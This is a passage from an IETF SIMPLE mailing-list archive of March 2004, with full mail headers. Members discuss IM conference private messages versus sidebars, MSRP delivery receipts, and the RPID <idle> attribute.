        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com> <40442B9F.9090606@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 18:44:12 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Niemi Aki (Nokia-M/Espoo) wrote:
> 
>>> Of course you can't do private messages with voice. Voice and IM are 
>>> inherently different. You can't send private voice packets to another 
>>> participant of a conference, simply because there isn't a way to 
>>> single out a participant in a conference by directly addressing 
>>> packets there. It also makes mixing really complicated, because a 
>>> private voice stream might overlap with the rest of the conference. 
>>> These don't present a problem for IM; the sender can single out the 
>>> recipient using the cpim To header field and the recipient UA can 
>>> simply mark a message as private and render it to the same UI as the 
>>> rest of the IMs in that conference.
>>
>> I protest.  There is no logical difference.  There is no protocol
>> difference.  In most cases, there is no practical difference.  You
>> send media to some address, you get media from some address.  You
>> render it.  IM or voice or video is all just media, and its handled
>> the same way.  You might have "centralized" or "distributed" mixers.
>> Most IM systems, as implemented, are centralized mixers.  You send
>> all media to the mixer, it sends media to you.  There is nothing
>> special with IM.  You need some signaling for a private message.
>> You can use the same signaling for a sidebar or a whisper.
> 
> Hmm.. which systems are these? The ones I've used have both private 
> messages *and* sidebars.

It seems that in principle the difference between sidebars and private 
messages is simply one of UI design. A particular client could support 
one or the other, or both.

But you also seem to require that the initiator be able to choose which 
user experience the recipients will have. That turns it into a protocol 
issue. In general I would consider this a bad idea. But it is largely a 
human factors issue, and I don't feel qualified to comment on it except 
from the perspective of personal preference. But it seems that whole 
discussion hinges on whether there is a valid requirement for giving 
senders that degree of control over recipients.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 18:50:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10329
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 18:50:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJf3-0006OA-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 18:50:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJe8-0006Gm-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 18:49:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJdH-00069X-00; Tue, 02 Mar 2004 18:49:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJdE-0001We-Ut; Tue, 02 Mar 2004 18:49:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJd7-0001Og-BC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 18:48:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10199
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:48:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJd4-00068c-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:48:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJc8-00061e-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:47:53 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJbO-0005nk-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:47:06 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i22NkZNr012225;
	Tue, 2 Mar 2004 18:46:36 -0500 (EST)
Message-ID: <40451CC9.2030101@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Vijay K. Gurbani" <vkg@lucent.com>
CC: Rohan Mahy <rohan@cisco.com>, simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com>
In-Reply-To: <404502DD.6040702@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 18:46:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Vijay K. Gurbani wrote:

> Rohan Mahy wrote:
> 
>> Hi,
>>
>> I wanted to record an observation about how optional return receipt 
>> and delivery status notification should be for MSRP. This was inspired 
>> by Eric Burger's comments at the mic about how positive and negative 
>> acknowledgments have a different character.
> 
> 
> Rohan:
> 
> I had started a thread related to Delivery Status reporting
> last week (in response to Jonathan's I-D on Advanced
> IM requirements).  The thread can be followed from the
> following URI:
> 
> http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html 
> 
> 
> The summary of the thread was that it would be good to have
> both positive and negative acknowledgements.  Buried in the
> thread is a following observation which is of interest,
> especially given the email tie-in you mention:
> 
>    It appears that there are two cases to consider: a) where
>    the IM system is tied to a presence system, and b) where
>    it is not.  In (a), a sender can be reasonably sure when
>    he sends the message that the recipient got it.  A
>    confirmation for each message would simply be too awkward,
>    given the volume of IMs that can be potentially exchanged.
>    (b) is more akin to email; the sender sends a message
>    not expecting an immediate response.  If the undelying
>    network fails to deliver the message, it should let the
>    sender know.  Otherwise, no further communications are
>    needed.
> 
> In this view, positive acknowledgements have limited use
> if the IM user is tied to a presence system, but have
> tremendous uses if the IM interface is not tied to a presence
> system.  In short, I think negative acknowledgements should
> be the norm (a la email), but positive acknowledgements
> should be used if the sender of IM does not know what the
> current presence and availability status of the receiver is.

I can be available but the message can fail to be delivered due to 
error. Lets not confuse presence availability with guaranteed message 
delivery.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 18:51:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10376
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 18:51:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJf7-00022m-IX
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 18:50:57 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22NovYJ007850
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 18:50:57 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJf7-00022X-Eu
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 18:50:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10344
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 18:50:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJf4-0006OF-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 18:50:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJe8-0006Gt-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 18:49:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJdH-00069X-00; Tue, 02 Mar 2004 18:49:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJdE-0001We-Ut; Tue, 02 Mar 2004 18:49:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJd7-0001Og-BC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 18:48:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10199
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:48:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJd4-00068c-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:48:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJc8-00061e-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:47:53 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJbO-0005nk-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:47:06 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i22NkZNr012225;
	Tue, 2 Mar 2004 18:46:36 -0500 (EST)
Message-ID: <40451CC9.2030101@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Vijay K. Gurbani" <vkg@lucent.com>
CC: Rohan Mahy <rohan@cisco.com>, simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com>
In-Reply-To: <404502DD.6040702@lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 18:46:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Vijay K. Gurbani wrote:

> Rohan Mahy wrote:
> 
>> Hi,
>>
>> I wanted to record an observation about how optional return receipt 
>> and delivery status notification should be for MSRP. This was inspired 
>> by Eric Burger's comments at the mic about how positive and negative 
>> acknowledgments have a different character.
> 
> 
> Rohan:
> 
> I had started a thread related to Delivery Status reporting
> last week (in response to Jonathan's I-D on Advanced
> IM requirements).  The thread can be followed from the
> following URI:
> 
> http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html 
> 
> 
> The summary of the thread was that it would be good to have
> both positive and negative acknowledgements.  Buried in the
> thread is a following observation which is of interest,
> especially given the email tie-in you mention:
> 
>    It appears that there are two cases to consider: a) where
>    the IM system is tied to a presence system, and b) where
>    it is not.  In (a), a sender can be reasonably sure when
>    he sends the message that the recipient got it.  A
>    confirmation for each message would simply be too awkward,
>    given the volume of IMs that can be potentially exchanged.
>    (b) is more akin to email; the sender sends a message
>    not expecting an immediate response.  If the undelying
>    network fails to deliver the message, it should let the
>    sender know.  Otherwise, no further communications are
>    needed.
> 
> In this view, positive acknowledgements have limited use
> if the IM user is tied to a presence system, but have
> tremendous uses if the IM interface is not tied to a presence
> system.  In short, I think negative acknowledgements should
> be the norm (a la email), but positive acknowledgements
> should be used if the sender of IM does not know what the
> current presence and availability status of the receiver is.

I can be available but the message can fail to be delivered due to 
error. Lets not confuse presence availability with guaranteed message 
delivery.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 18:57:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10643
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 18:57:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJlq-0007Ig-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 18:57:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJky-0007BG-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 18:57:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJk2-00073H-00; Tue, 02 Mar 2004 18:56:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJk1-00037x-N9; Tue, 02 Mar 2004 18:56:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJjs-000370-NY
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 18:55:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10537
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:55:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJjp-00071V-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:55:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJiu-0006u3-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:54:52 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJi1-0006fx-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:53:57 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i22NqINr012231;
	Tue, 2 Mar 2004 18:52:19 -0500 (EST)
Message-ID: <40451E20.7000801@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: hgs@cs.columbia.edu, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 18:52:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

hisham.khartabil@nokia.com wrote:

> 
>> -----Original Message----- From: simple-admin@ietf.org
>> [mailto:simple-admin@ietf.org]On Behalf Of ext Jonathan Rosenberg 
>> Sent: 01.March.2004 17:05 To: Henning Schulzrinne Cc: Paul Kyzivat;
>> Simple WG Subject: Re: [Simple] comments on draft-ietf-simple-rpid
>> (long)
>> 
> 

>> 
>> I'd really rather not; I think its a mistake to produce an idle 
>> attribute that differs substantially from established semantics.
>> This is one of the few pidf extensions that we know is widely used
>> in existing systems, and is a clear requirement for us to provide.
>> 
>> I would instead propose that we define an attribute like 
>> <device-idle> which makes it clear that this refers to the idle
>> time on the DEVICE on which that particular tuple is associated. A
>> natural consequence of this is that it wouldnt make sense for
>> tuples that span devices or are otherwise not associated with a
>> device. I'd also suggest adding text that makes it clear that, in
>> the one case of an IM app on a PC, that this has the commonly
>> understood semantics of idle.
> 
> 
> What else is idle? Surely <idle> is not saying that the human is
> idle, but the device that the human is using has not been used for a
> while. <device-idle> gains nothing.

My interpretation of Hennings current text:

The <idle> records the absolute time and date the communication
    device was last used.

was that "device" was limited to the IM client, for example. In such a 
case, it would mean the last time I sent an IM. I'm not sure why, on 
first read, I came to this conclusion, to be honest.

I think if, the text is clarified as to the scope of device (i.e., the 
"PC" for a typical IM app) that would be fine.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 18:58:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10675
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 18:58:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJlu-0003F2-J0
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 18:57:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i22Nvwjb012454
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 18:57:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJlu-0003En-EW
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 18:57:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10661
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 18:57:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJlr-0007It-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 18:57:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJkz-0007BP-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 18:57:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJk2-00073H-00; Tue, 02 Mar 2004 18:56:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJk1-00037x-N9; Tue, 02 Mar 2004 18:56:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJjs-000370-NY
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 18:55:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10537
	for <simple@ietf.org>; Tue, 2 Mar 2004 18:55:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJjp-00071V-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:55:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJiu-0006u3-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:54:52 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJi1-0006fx-00
	for simple@ietf.org; Tue, 02 Mar 2004 18:53:57 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i22NqINr012231;
	Tue, 2 Mar 2004 18:52:19 -0500 (EST)
Message-ID: <40451E20.7000801@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: hgs@cs.columbia.edu, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 18:52:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

hisham.khartabil@nokia.com wrote:

> 
>> -----Original Message----- From: simple-admin@ietf.org
>> [mailto:simple-admin@ietf.org]On Behalf Of ext Jonathan Rosenberg 
>> Sent: 01.March.2004 17:05 To: Henning Schulzrinne Cc: Paul Kyzivat;
>> Simple WG Subject: Re: [Simple] comments on draft-ietf-simple-rpid
>> (long)
>> 
> 

>> 
>> I'd really rather not; I think its a mistake to produce an idle 
>> attribute that differs substantially from established semantics.
>> This is one of the few pidf extensions that we know is widely used
>> in existing systems, and is a clear requirement for us to provide.
>> 
>> I would instead propose that we define an attribute like 
>> <device-idle> which makes it clear that this refers to the idle
>> time on the DEVICE on which that particular tuple is associated. A
>> natural consequence of this is that it wouldnt make sense for
>> tuples that span devices or are otherwise not associated with a
>> device. I'd also suggest adding text that makes it clear that, in
>> the one case of an IM app on a PC, that this has the commonly
>> understood semantics of idle.
> 
> 
> What else is idle? Surely <idle> is not saying that the human is
> idle, but the device that the human is using has not been used for a
> while. <device-idle> gains nothing.

My interpretation of Hennings current text:

The <idle> records the absolute time and date the communication
    device was last used.

was that "device" was limited to the IM client, for example. In such a 
case, it would mean the last time I sent an IM. I'm not sure why, on 
first read, I came to this conclusion, to be honest.

I think if, the text is clarified as to the scope of device (i.e., the 
"PC" for a typical IM app) that would be fine.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 19:06:17 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11210
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 19:06:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJtz-0000vF-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:06:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJss-0000gJ-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:05:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJrl-0000QA-00; Tue, 02 Mar 2004 19:04:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJrl-0003XL-Ji; Tue, 02 Mar 2004 19:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyJqn-0003Sa-RC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:03:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA10872
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:02:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJqk-0000Dr-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:02:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyJpx-00004N-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:02:09 -0500
Received: from sj-iport-5.cisco.com ([171.68.10.87])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyJpL-0007gb-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:01:32 -0500
